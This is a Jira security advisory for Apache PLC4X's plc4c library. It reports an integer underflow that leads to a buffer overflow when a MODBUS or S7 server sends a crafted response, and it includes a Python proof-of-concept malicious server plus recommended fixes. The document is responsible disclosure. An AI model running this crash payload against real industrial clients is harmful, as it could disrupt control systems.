You are viewing a plain text version of this content. The canonical link for it is here.
Posted to issues@plc4x.apache.org by "Eugene Lim (Jira)" <ji...@apache.org> on 2021/10/28 13:56:00 UTC

[jira] [Created] (PLC4X-320) [Security Vulnerability] Apache PLC4X 0.90 Buffer Overflow in plc4c via Crafted Server Response

Eugene Lim created PLC4X-320:
--------------------------------

             Summary: [Security Vulnerability] Apache PLC4X 0.90 Buffer Overflow in plc4c via Crafted Server Response
                 Key: PLC4X-320
                 URL: https://issues.apache.org/jira/browse/PLC4X-320
             Project: Apache PLC4X
          Issue Type: Bug
          Components: PLC4C
    Affects Versions: 0.9.0
            Reporter: Eugene Lim
         Attachments: poc.png

## Summary

The `plc4c_transport_tcp_select_message_function` method in `plc4c` suffers from an unsigned integer underflow, resulting in an overly-large `recv` into a fixed buffer that causes a buffer overflow and overwrites arbitrary memory.

## Root Cause

`plc4c` uses the `plc4c_transport_tcp_select_message_function` function to read incoming responses from servers. It calculates a `int16_t message_size` based on the selected protocol's `accept_message` handler, then allocates memory of size `message_size`. It then `recv`s `message_size - min_size` bytes of memory into the allocated memory. Due to lack of validation, `min_size` can be larger than `message_size`, leading to an unsigned integer underflow that causes an overly-large memory write into the buffer. This affects both the MODBUS and S7 handlers.

For example, the MODBUS `plc4c_driver_modbus_receive_packet` function executes:

```
 plc4c_return_code return_code = connection->transport->select_message(
 connection->transport_configuration, 6,
 plc4c_driver_modbus_select_message_function, &read_buffer);
```

This passes on the argument `min_size = 6` to:

```
plc4c_return_code plc4c_transport_tcp_select_message_function(
 void* transport_configuration, uint8_t min_size,
 accept_message_function accept_message, plc4c_spi_read_buffer** message) {
 
 plc4c_transport_tcp_config* tcp_config = transport_configuration;

// First try to read the minimum number of bytes the driver needs to know
 // how big a packet is.
 uint8_t* size_buffer = malloc(sizeof(uint8_t) * min_size);
 if(size_buffer == NULL) {
 return NO_MEMORY;
 }
 int received_bytes = recv(tcp_config->sockfd, size_buffer, min_size, 0);
 // TODO: if the value is negative, it's more a "please remove this much of corrupt data" ...
 if(received_bytes < 0) {
 return CONNECTION_ERROR;
 }

// Now that we have enough data to find out how many bytes we need, have
 // the accept_message function find out how many
 int16_t message_size = accept_message(size_buffer, min_size);
 if(message_size < 0) {
 return INTERNAL_ERROR;
 }
 uint8_t* message_buffer = malloc(sizeof(uint8_t) * message_size);
 if(message_size < 0) {
 return NO_MEMORY;
 }

// Copy the size_buffer to the start of the new buffer.
 memcpy(message_buffer, size_buffer, min_size);
 free(size_buffer);

// Read the rest of the packet.
 received_bytes = recv(tcp_config->sockfd, message_buffer + min_size, message_size - min_size, 0);
 if(received_bytes != message_size - min_size) {
 return CONNECTION_ERROR;
 }

// Create a new read-buffer with the read message data.
 plc4c_spi_read_buffer_create(message_buffer, message_size, message);
 // TODO: leaks: message_buffer
 return OK;
}
```


For MODBUS, `plc4c_driver_modbus_select_message_function` simply returns an `int16_t` value from the first 6 bytes of the server's response:

```
int16_t plc4c_driver_modbus_select_message_function(uint8_t* buffer_data,
 uint16_t buffer_length) {
 // The length information is located in bytes 5 and 6
 if (buffer_length >= 6) {
 uint16_t packet_length =
 ((uint16_t)*(buffer_data + 4) << 8) | ((uint16_t)*(buffer_data + 5));
 packet_length += 6;
 return packet_length;
 }
 // In all other cases, we'll just have to wait for the next time.
 return 0;
}
```

In this case, if the first 6 bytes are `b'\xff\xff\xff\xff\xff\xfb'`, the conversion from `uint16_t packet_length` to `int16_t message_size` results in a value of `1`.

Since `min_size` is fixed at `6`, `message_size - min_size` underflows to `4294967291`, while the `message_buffer` that is allocated is only of size `1`. The following `recv(tcp_config->sockfd, message_buffer + min_size, message_size - min_size, 0);` results in the buffer overflow.


## Proof of Concept

To reproduce this vulnerability, run the following Python script to start an "Evil MODBUS" server:

```
import socket
from struct import pack, unpack

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('localhost', 502))
s.listen()

conn, addr = s.accept()

with conn:
 print('Connected by', addr)

data = conn.recv(1024) 
 print("Received: {}".format(data))

conn.send(b'\xff\xff\xff\xff\xff\xfb' + b'A' * 50000)

data = conn.recv(1024) 
 print("Received: {}".format(data))

input("Press Enter to close socket...")
 conn.close()
```

Once started, modify the `hello_world_modbus.c` code to use `127.0.0.1` in the `plc4c_system_connect` function. Build the binary, then execute it. It should connect to your evil server and trigger the overflow, resulting in a `malloc(): corrupted top size` segfault, thus demonstrating the buffer overflow.

## Recommendations

Add proper type conversions between `packet_length` and `message_size`; instead of `int16_t` perhaps `message_size` should be `uint16_t`. Furthermore, add a sanity check that `message_size >= min_size`.

## Credits

Please credit Eugene Lim, Government Technology Agency of Singapore. Thank you!



--
This message was sent by Atlassian Jira
(v8.3.4#803005)